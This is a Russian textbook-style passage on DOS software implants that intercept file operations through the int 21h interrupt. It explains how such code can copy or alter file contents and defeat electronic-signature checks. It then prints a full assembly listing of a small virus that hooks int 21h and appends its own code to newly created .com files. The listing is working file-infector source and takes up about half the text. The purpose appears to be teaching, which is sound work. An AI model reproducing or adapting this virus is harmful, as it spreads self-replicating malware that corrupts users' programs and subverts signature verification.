Перехват и обработка файловых операций

Программное средство защиты информации (ПСЗИ) производит некоторые файловые операции. Для этого открывается файл, часть его или весь файл считывается в буфер оперативной памяти, обрабатывается и затем записывается в файл с прежним или новым именем.

Активизирующим событием в данном случае является, как правило, открытие файла (int 21h, функция 3Dh), либо его закрытие.

Таким образом, закладка порождает в системе “исходный файл — ПСЗИ — выходной файл” новые связи, включая в них свои операции и массивы данных.

Рассмотрим механизм работы закладки для DOS, которая встраивается в цепочку прерывания int 21h для следующих функций.

· Открытие файла (функция 3Dh). Закладка отфильтровывает нужные имена или дескрипторы файлов.

· Чтение из файла (функция 3Fh). Закладка выполняет прерывание по старому адресу указателя, затем сохраняет считанный буфер в собственный, обычно скрытый файл, либо исправляет в буфере некоторые байты файла, кроме того возможно влияние на результаты операции чтения. Данные действия особенно опасны для программ подтверждения подлинности электронных документов (электронная подпись).

· Запись в файл (функция 40h). Закладка редактирует нужным образом буфер в оперативной памяти, либо сохраняет файл или часть его в скрытую область, а затем выполняет старое прерывание, в результате чего записывается файл с измененным содержанием, либо каким-то образом дублированный в скрытой области. Закладки такого типа могут навязывать истинность электронной подписи даже тогда, когда файл был изменен.

В листинге 14.2 представлен пример вируса, использующего механизм перехвата файловых операция для модификации файлов типа COM своим кодом.

Листинг 14.2. Пример перехвата файловых
операций для выполнения несанкционированной записи в файл

.model tiny
.code
org 100h
start:
push si
push si

mov es,bx
mov di,2B0h
cli

cmpsb
jz loc_2
dec si
dec di

Продолжение листинга 14.2

mov cl,50h rep movsb
mov si,21h*4
push si
movs word ptr es:[di],word ptr es:[si]
movs word ptr es:[di],word ptr es:[si]
pop di
mov al,2Bh
stosw
stosw
loc_2:
pop di
lea si,[di+50h]
mov cx,sp
sub cx,si
push cs
pop es
rep movsb
retn
; новый обработчик 21-го прерывания
cmp ah,3Ch; функция создания файла?
jne loc_5; если нет — на выход
int 0C0h; если (2B0h+50h)/4 = 0C0h, т.е. адрес
; старого обработчика int 21h
push ax
xchg bx,ax
mov si,dx; si = dx

locloop_3:
dec si
lodsw
cmp ax,'mo'

loopnz locloop_3
jnz loc_4
push ds
push cs
pop ds
mov ah,40h
mov cl,50h
cwd
int 21h
pop ds

Окончание листинга 14.2

loc_4:
pop ax
clc
retf 2
loc_5:
db 0EAh
int 20h

end start


Понравилась статья? Добавь ее в закладку (CTRL+D) и не забудь поделиться с друзьями:  



double arrow
Сейчас читают про: